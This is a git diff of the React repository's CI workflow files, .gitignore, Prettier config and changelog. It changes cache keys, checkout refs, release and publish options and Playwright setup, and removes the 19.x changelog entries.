key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
restore-keys: |
runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-and-compiler-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -446,54 +421,8 @@ jobs:
merge-multiple: true
- name: Display structure of build
run: ls -R build
- run: node --version
- run: yarn test --build ${{ matrix.test_params }} --shard=${{ matrix.shard }} --ci
test_build_devtools:
name: yarn test-build (devtools)
needs: [build_and_lint, runtime_node_modules_cache]
strategy:
fail-fast: false
matrix:
shard:
- 1/5
- 2/5
- 3/5
- 4/5
- 5/5
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
cache: yarn
cache-dependency-path: yarn.lock
- name: Restore cached node_modules
uses: actions/cache/restore@v4
id: node_modules
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- name: Restore archived build
uses: actions/download-artifact@v4
with:
pattern: _build_*
path: build
merge-multiple: true
- name: Display structure of build
run: ls -R build
- run: node --version
- run: yarn test --build --project=devtools -r=experimental --shard=${{ matrix.shard }} --ci
process_artifacts_combined:
name: Process artifacts combined
needs: [build_and_lint, runtime_node_modules_cache]
@@ -505,7 +434,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -517,8 +446,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -531,7 +462,7 @@ jobs:
merge-multiple: true
- name: Display structure of build
run: ls -R build
- run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
- run: echo ${{ github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
- name: Scrape warning messages
run: |
mkdir -p ./build/__test_utils__
@@ -568,7 +499,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -580,8 +511,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -597,7 +530,7 @@ jobs:
- name: Search build artifacts for unminified errors
run: |
yarn extract-errors
git diff --exit-code || (echo "Found unminified errors. Either update the error codes map or disable error minification for the affected build, if appropriate." && false)
git diff --quiet || (echo "Found unminified errors. Either update the error codes map or disable error minification for the affected build, if appropriate." && false)
check_release_dependencies:
name: Check release dependencies
@@ -606,7 +539,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -618,8 +551,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -641,7 +576,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -682,7 +617,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -756,7 +691,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -768,8 +703,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -792,11 +729,6 @@ jobs:
name: react-devtools-${{ matrix.browser }}-extension
path: build/devtools/${{ matrix.browser }}-extension.zip
if-no-files-found: error
- name: Archive ${{ matrix.browser }} metadata
uses: actions/upload-artifact@v4
with:
name: react-devtools-${{ matrix.browser }}-metadata
path: build/devtools/webpack-stats.*.json
merge_devtools_artifacts:
name: Merge DevTools artifacts
@@ -807,7 +739,7 @@ jobs:
uses: actions/upload-artifact/merge@v4
with:
name: react-devtools
pattern: react-devtools-*
pattern: react-devtools-*-extension
run_devtools_e2e_tests:
name: Run DevTools e2e tests
@@ -816,7 +748,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -828,8 +760,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -840,27 +774,12 @@ jobs:
pattern: _build_*
path: build
merge-multiple: true
- name: Check Playwright version
id: playwright_version
run: echo "playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)" >> "$GITHUB_OUTPUT"
- name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}
id: cache_playwright_browsers
uses: actions/cache@v4
with:
path: ~/.cache/ms-playwright
key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
- name: Playwright install deps
if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
run: npx playwright install --with-deps chromium
- run: |
npx playwright install
sudo npx playwright install-deps
- run: ./scripts/ci/run_devtools_e2e_tests.js
env:
RELEASE_CHANNEL: experimental
- name: Archive Playwright report
uses: actions/upload-artifact@v4
with:
name: devtools-playwright-artifacts
path: tmp/playwright-artifacts
if-no-files-found: warn
# ----- SIZEBOT -----
sizebot:
@@ -874,7 +793,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -923,7 +842,7 @@ jobs:
node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js
- name: Display structure of build for PR
run: ls -R build
- run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
- run: echo ${{ github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
- run: node ./scripts/tasks/danger
- name: Archive sizebot results
uses: actions/upload-artifact@v4

View File

@@ -116,13 +116,11 @@ jobs:
run: |
sed -i -e 's/ @license React*//' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Insert @headers into eslint plugin and react-refresh
run: |
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Move relevant files for React in www into compiled
run: |
@@ -134,9 +132,9 @@ jobs:
mkdir ./compiled/facebook-www/__test_utils__
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
# Copy eslint-plugin-react-hooks (www build with feature flags)
# Move eslint-plugin-react-hooks into eslint-plugin-react-hooks
mkdir ./compiled/eslint-plugin-react-hooks
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
mv build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
./compiled/eslint-plugin-react-hooks/index.js
# Move unstable_server-external-runtime.js into facebook-www
@@ -164,15 +162,10 @@ jobs:
mv build/facebook-react-native/react-is/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-is/
mv build/facebook-react-native/react-test-renderer/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-test-renderer/
# Delete the OSS renderers, these are sync'd to RN separately.
# Delete OSS renderer. OSS renderer is synced through internal script.
RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
# Copy eslint-plugin-react-hooks
# NOTE: This is different from www, here we include the full package
# including package.json to include dependencies in fbsource.
mkdir "$BASE_FOLDER/tools"
cp -r build/oss-experimental/eslint-plugin-react-hooks "$BASE_FOLDER/tools"
rm $RENDERER_FOLDER/ReactNativeRenderer-{dev,prod,profiling}.js
# Move React Native version file
mv build/facebook-react-native/VERSION_NATIVE_FB ./compiled-rn/VERSION_NATIVE_FB
@@ -333,10 +326,10 @@ jobs:
git --no-pager diff -U0 --cached | grep '^[+-]' | head -n 100
echo "===================="
# Ignore REVISION or lines removing @generated headers.
if git diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" > /dev/null; then
if git diff --cached ':(exclude)*REVISION' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" > /dev/null; then
echo "Changes detected"
echo "===== Changes ====="
git --no-pager diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" | head -n 50
git --no-pager diff --cached ':(exclude)*REVISION' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" | head -n 50
echo "==================="
echo "should_commit=true" >> "$GITHUB_OUTPUT"
else

View File

@@ -4,21 +4,17 @@ on:
pull_request_target:
types: [opened, ready_for_review]
paths-ignore:
- packages/react-devtools**
- compiler/**
- .github/workflows/compiler_**.yml
- .github/workflows/devtools**.yml
permissions: {}
jobs:
check_access:
if: ${{ github.event.pull_request.draft == false }}
runs-on: ubuntu-latest
outputs:
is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
steps:
- run: echo ${{ github.event.pull_request.author_association }}
- name: Check is member or collaborator
id: check_is_member_or_collaborator
if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}

View File

@@ -29,7 +29,6 @@ jobs:
- "7"
- "8"
- "9"
- "10"
steps:
- uses: actions/checkout@v4
with:

View File

@@ -17,17 +17,6 @@ on:
description: 'Whether to notify the team on Discord when the release fails. Useful if this workflow is called from an automation.'
required: false
type: boolean
only_packages:
description: Packages to publish (space separated)
type: string
skip_packages:
description: Packages to NOT publish (space separated)
type: string
dry:
required: true
description: Dry run instead of publish?
type: boolean
default: true
secrets:
DISCORD_WEBHOOK_URL:
description: 'Discord webhook URL to notify on failure. Only required if enableFailureNotification is true.'
@@ -72,39 +61,15 @@ jobs:
if: steps.node_modules.outputs.cache-hit != 'true'
- run: yarn --cwd scripts/release install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- run: cp ./scripts/release/ci-npmrc ~/.npmrc
- run: |
GH_TOKEN=${{ secrets.GH_TOKEN }} scripts/release/prepare-release-from-ci.js --skipTests -r ${{ inputs.release_channel }} --commit=${{ inputs.commit_sha }}
- name: Check prepared files
run: ls -R build/node_modules
- if: '${{ inputs.only_packages }}'
name: 'Publish ${{ inputs.only_packages }}'
run: |
scripts/release/publish.js \
--ci \
--tags=${{ inputs.dist_tag }} \
--onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\'}}
${{ inputs.dry && '--dry' || '' }}
- if: '${{ inputs.skip_packages }}'
name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'
run: |
scripts/release/publish.js \
--ci \
--tags=${{ inputs.dist_tag }} \
--skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\'}}
${{ inputs.dry && '--dry' || '' }}
- if: '${{ !inputs.skip_packages && !inputs.only_packages }}'
name: 'Publish all packages'
run: |
scripts/release/publish.js \
--ci \
--tags=${{ inputs.dist_tag }} ${{ (inputs.dry && '') || '\'}}
${{ inputs.dry && '--dry' || '' }}
cp ./scripts/release/ci-npmrc ~/.npmrc
scripts/release/publish.js --ci --tags ${{ inputs.dist_tag }}
- name: Notify Discord on failure
if: failure() && inputs.enableFailureNotification == true
uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
with:
webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
embed-author-name: "GitHub Actions"
embed-title: '[Runtime] Publish of ${{ inputs.release_channel }}@${{ inputs.dist_tag}} release failed'
embed-title: 'Publish of $${{ inputs.release_channel }} release failed'
embed-url: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}/attempts/${{ github.run_attempt }}

View File

@@ -5,25 +5,6 @@ on:
inputs:
prerelease_commit_sha:
required: true
only_packages:
description: Packages to publish (space separated)
type: string
skip_packages:
description: Packages to NOT publish (space separated)
type: string
dry:
required: true
description: Dry run instead of publish?
type: boolean
default: true
experimental_only:
type: boolean
description: Only publish to the experimental tag
default: false
force_notify:
description: Force a Discord notification?
type: boolean
default: false
permissions: {}
@@ -31,26 +12,8 @@ env:
TZ: /usr/share/zoneinfo/America/Los_Angeles
jobs:
notify:
if: ${{ inputs.force_notify || inputs.dry == false || inputs.dry == 'false' }}
runs-on: ubuntu-latest
steps:
- name: Discord Webhook Action
uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
with:
webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
embed-author-name: ${{ github.event.sender.login }}
embed-author-url: ${{ github.event.sender.html_url }}
embed-author-icon-url: ${{ github.event.sender.avatar_url }}
embed-title: "⚠️ Publishing ${{ inputs.experimental_only && 'EXPERIMENTAL' || 'CANARY & EXPERIMENTAL' }} release ${{ (inputs.dry && ' (dry run)') || '' }}"
embed-description: |
```json
${{ toJson(inputs) }}
```
embed-url: https://github.com/facebook/react/actions/runs/${{ github.run_id }}
publish_prerelease_canary:
if: ${{ !inputs.experimental_only }}
name: Publish to Canary channel
uses: facebook/react/.github/workflows/runtime_prereleases.yml@main
permissions:
@@ -70,9 +33,6 @@ jobs:
# downstream consumers might still expect that tag. We can remove this
# after some time has elapsed and the change has been communicated.
dist_tag: canary,next
only_packages: ${{ inputs.only_packages }}
skip_packages: ${{ inputs.skip_packages }}
dry: ${{ inputs.dry }}
secrets:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -88,15 +48,10 @@ jobs:
# different versions of the same package, even if they use different
# dist tags.
needs: publish_prerelease_canary
# Ensures the job runs even if canary is skipped
if: always()
with:
commit_sha: ${{ inputs.prerelease_commit_sha }}
release_channel: experimental
dist_tag: experimental
only_packages: ${{ inputs.only_packages }}
skip_packages: ${{ inputs.skip_packages }}
dry: ${{ inputs.dry }}
secrets:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -22,7 +22,6 @@ jobs:
release_channel: stable
dist_tag: canary,next
enableFailureNotification: true
dry: false
secrets:
DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
@@ -44,7 +43,6 @@ jobs:
release_channel: experimental
dist_tag: experimental
enableFailureNotification: true
dry: false
secrets:
DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

View File

@@ -110,7 +110,7 @@ jobs:
--tags=${{ inputs.tags }} \
--publishVersion=${{ inputs.version_to_publish }} \
--onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\'}}
${{ inputs.dry && '--dry' || '' }}
${{ inputs.dry && '--dry'}}
- if: '${{ inputs.skip_packages }}'
name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'
run: |
@@ -119,7 +119,7 @@ jobs:
--tags=${{ inputs.tags }} \
--publishVersion=${{ inputs.version_to_publish }} \
--skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\'}}
${{ inputs.dry && '--dry' || '' }}
${{ inputs.dry && '--dry'}}
- name: Archive released package for debugging
uses: actions/upload-artifact@v4
with:

View File

@@ -18,7 +18,6 @@ jobs:
permissions:
# Used to create a review and close PRs
pull-requests: write
contents: write
steps:
- name: Close PR
uses: actions/github-script@v7

View File

@@ -17,7 +17,6 @@ jobs:
outputs:
is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
steps:
- run: echo ${{ github.event.pull_request.author_association }}
- name: Check is member or collaborator
id: check_is_member_or_collaborator
if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}

View File

@@ -6,10 +6,7 @@ on:
- cron: '0 * * * *'
workflow_dispatch:
permissions:
# https://github.com/actions/stale/tree/v9/?tab=readme-ov-file#recommended-permissions
issues: write
pull-requests: write
permissions: {}
env:
TZ: /usr/share/zoneinfo/America/Los_Angeles

5
.gitignore vendored
View File

@@ -21,12 +21,8 @@ chrome-user-data
.idea
*.iml
.vscode
.zed
*.swp
*.swo
/tmp
/.worktrees
.claude/*.local.*
packages/react-devtools-core/dist
packages/react-devtools-extensions/chrome/build
@@ -41,3 +37,4 @@ packages/react-devtools-fusebox/dist
packages/react-devtools-inline/dist
packages/react-devtools-shell/dist
packages/react-devtools-timeline/dist

View File

@@ -3,12 +3,13 @@
const {esNextPaths} = require('./scripts/shared/pathsByLanguageVersion');
module.exports = {
plugins: ['prettier-plugin-hermes-parser'],
bracketSpacing: false,
singleQuote: true,
bracketSameLine: true,
trailingComma: 'es5',
printWidth: 80,
parser: 'flow',
parser: 'hermes',
arrowParens: 'avoid',
overrides: [
{

View File

@@ -1,93 +1,3 @@
## 19.2.1 (Dec 3, 2025)
### React Server Components
- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
## 19.2.0 (October 1st, 2025)
Below is a list of all new features, APIs, and bug fixes.
Read the [React 19.2 release post](https://react.dev/blog/2025/10/01/react-19-2) for more information.
### New React Features
- [`<Activity>`](https://react.dev/reference/react/Activity): A new API to hide and restore the UI and internal state of its children.
- [`useEffectEvent`](https://react.dev/reference/react/useEffectEvent) is a React Hook that lets you extract non-reactive logic into an [Effect Event](https://react.dev/learn/separating-events-from-effects#declaring-an-effect-event).
- [`cacheSignal`](https://react.dev/reference/react/cacheSignal) (for RSCs) lets your know when the `cache()` lifetime is over.
- [React Performance tracks](https://react.dev/reference/dev-tools/react-performance-tracks) appear on the Performance panels timeline in your browser developer tools
### New React DOM Features
- Added resume APIs for partial pre-rendering with Web Streams:
- [`resume`](https://react.dev/reference/react-dom/server/resume): to resume a prerender to a stream.
- [`resumeAndPrerender`](https://react.dev/reference/react-dom/static/resumeAndPrerender): to resume a prerender to HTML.
- Added resume APIs for partial pre-rendering with Node Streams:
- [`resumeToPipeableStream`](https://react.dev/reference/react-dom/server/resumeToPipeableStream): to resume a prerender to a stream.
- [`resumeAndPrerenderToNodeStream`](https://react.dev/reference/react-dom/static/resumeAndPrerenderToNodeStream): to resume a prerender to HTML.
- Updated [`prerender`](https://react.dev/reference/react-dom/static/prerender) APIs to return a `postponed` state that can be passed to the `resume` APIs.
### Notable changes
- React DOM now batches suspense boundary reveals, matching the behavior of client side rendering. This change is especially noticeable when animating the reveal of Suspense boundaries e.g. with the upcoming `<ViewTransition>` Component. React will batch as much reveals as possible before the first paint while trying to hit popular first-contentful paint metrics.
- Add Node Web Streams (`prerender`, `renderToReadableStream`) to server-side-rendering APIs for Node.js
- Use underscore instead of `:` IDs generated by useId
### All Changes
#### React
- `<Activity />` was developed over many years, starting before `ClassComponent.setState` (@acdlite @sebmarkbage and many others)
- Stringify context as "SomeContext" instead of "SomeContext.Provider" (@kassens [#33507](https://github.com/facebook/react/pull/33507))
- Include stack of cause of React instrumentation errors with `%o` placeholder (@eps1lon [#34198](https://github.com/facebook/react/pull/34198))
- Fix infinite `useDeferredValue` loop in popstate event (@acdlite [#32821](https://github.com/facebook/react/pull/32821))
- Fix a bug when an initial value was passed to `useDeferredValue` (@acdlite [#34376](https://github.com/facebook/react/pull/34376))
- Fix a crash when submitting forms with Client Actions (@sebmarkbage [#33055](https://github.com/facebook/react/pull/33055))
- Hide/unhide the content of dehydrated suspense boundaries if they resuspend (@sebmarkbage [#32900](https://github.com/facebook/react/pull/32900))
- Avoid stack overflow on wide trees during Hot Reload (@sophiebits [#34145](https://github.com/facebook/react/pull/34145))
- Improve Owner and Component stacks in various places (@sebmarkbage, @eps1lon: [#33629](https://github.com/facebook/react/pull/33629), [#33724](https://github.com/facebook/react/pull/33724), [#32735](https://github.com/facebook/react/pull/32735), [#33723](https://github.com/facebook/react/pull/33723))
- Add `cacheSignal` (@sebmarkbage [#33557](https://github.com/facebook/react/pull/33557))
#### React DOM
- Block on Suspensey Fonts during reveal of server-side-rendered content (@sebmarkbage [#33342](https://github.com/facebook/react/pull/33342))
- Use underscore instead of `:` for IDs generated by `useId` (@sebmarkbage, @eps1lon: [#32001](https://github.com/facebook/react/pull/32001), [https://github.com/facebook/react/pull/33342](https://github.com/facebook/react/pull/33342)[#33099](https://github.com/facebook/react/pull/33099), [#33422](https://github.com/facebook/react/pull/33422))
- Stop warning when ARIA 1.3 attributes are used (@Abdul-Omira [#34264](https://github.com/facebook/react/pull/34264))
- Allow `nonce` to be used on hoistable styles (@Andarist [#32461](https://github.com/facebook/react/pull/32461))
- Warn for using a React owned node as a Container if it also has text content (@sebmarkbage [#32774](https://github.com/facebook/react/pull/32774))
- s/HTML/text for for error messages if text hydration mismatches (@rickhanlonii [#32763](https://github.com/facebook/react/pull/32763))
- Fix a bug with `React.use` inside `React.lazy`\-ed Component (@hi-ogawa [#33941](https://github.com/facebook/react/pull/33941))
- Enable the `progressiveChunkSize` option for server-side-rendering APIs (@sebmarkbage [#33027](https://github.com/facebook/react/pull/33027))
- Fix a bug with deeply nested Suspense inside Suspense fallback when server-side-rendering (@gnoff [#33467](https://github.com/facebook/react/pull/33467))
- Avoid hanging when suspending after aborting while rendering (@gnoff [#34192](https://github.com/facebook/react/pull/34192))
- Add Node Web Streams to server-side-rendering APIs for Node.js (@sebmarkbage [#33475](https://github.com/facebook/react/pull/33475))
#### React Server Components
- Preload `<img>` and `<link>` using hints before they're rendered (@sebmarkbage [#34604](https://github.com/facebook/react/pull/34604))
- Log error if production elements are rendered during development (@eps1lon [#34189](https://github.com/facebook/react/pull/34189))
- Fix a bug when returning a Temporary reference (e.g. a Client Reference) from Server Functions (@sebmarkbage [#34084](https://github.com/facebook/react/pull/34084), @denk0403 [#33761](https://github.com/facebook/react/pull/33761))
- Pass line/column to `filterStackFrame` (@eps1lon [#33707](https://github.com/facebook/react/pull/33707))
- Support Async Modules in Turbopack Server References (@lubieowoce [#34531](https://github.com/facebook/react/pull/34531))
- Add support for .mjs file extension in Webpack (@jennyscript [#33028](https://github.com/facebook/react/pull/33028))
- Fix a wrong missing key warning (@unstubbable [#34350](https://github.com/facebook/react/pull/34350))
- Make console log resolve in predictable order (@sebmarkbage [#33665](https://github.com/facebook/react/pull/33665))
#### React Reconciler
- [createContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L255-L261) and [createHydrationContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L305-L312) had their parameter order adjusted after `on*` handlers to account for upcoming experimental APIs
## 19.1.2 (Dec 3, 2025)
### React Server Components
- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
## 19.1.1 (July 28, 2025)
### React
* Fixed Owner Stacks to work with ES2015 function.name semantics ([#33680](https://github.com/facebook/react/pull/33680) by @hoxyq)
## 19.1.0 (March 28, 2025)
### Owner Stack
@@ -109,11 +19,11 @@ An Owner Stack is a string representing the components that are directly respons
* Updated `useId` to use valid CSS selectors, changing format from `:r123:` to `«r123»`. [#32001](https://github.com/facebook/react/pull/32001)
* Added a dev-only warning for null/undefined created in useEffect, useInsertionEffect, and useLayoutEffect. [#32355](https://github.com/facebook/react/pull/32355)
* Fixed a bug where dev-only methods were exported in production builds. React.act is no longer available in production builds. [#32200](https://github.com/facebook/react/pull/32200)
* Improved consistency across prod and dev to improve compatibility with Google Closure Compiler and bindings [#31808](https://github.com/facebook/react/pull/31808)
* Improved consistency across prod and dev to improve compatibility with Google Closure Complier and bindings [#31808](https://github.com/facebook/react/pull/31808)
* Improve passive effect scheduling for consistent task yielding. [#31785](https://github.com/facebook/react/pull/31785)
* Fixed asserts in React Native when passChildrenWhenCloningPersistedNodes is enabled for OffscreenComponent rendering. [#32528](https://github.com/facebook/react/pull/32528)
* Fixed component name resolution for Portal [#32640](https://github.com/facebook/react/pull/32640)
* Added support for beforetoggle and toggle events on the dialog element. [#32479](https://github.com/facebook/react/pull/32479)
* Added support for beforetoggle and toggle events on the dialog element. #32479 [#32479](https://github.com/facebook/react/pull/32479)
### React DOM
* Fixed double warning when the `href` attribute is an empty string [#31783](https://github.com/facebook/react/pull/31783)
@@ -135,12 +45,6 @@ An Owner Stack is a string representing the components that are directly respons
* Exposed `registerServerReference` in client builds to handle server references in different environments. [#32534](https://github.com/facebook/react/pull/32534)
* Added react-server-dom-parcel package which integrates Server Components with the [Parcel bundler](https://parceljs.org/) [#31725](https://github.com/facebook/react/pull/31725), [#32132](https://github.com/facebook/react/pull/32132), [#31799](https://github.com/facebook/react/pull/31799), [#32294](https://github.com/facebook/react/pull/32294), [#31741](https://github.com/facebook/react/pull/31741)
## 19.0.1 (Dec 3, 2025)
### React Server Components
- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))
## 19.0.0 (December 5, 2024)
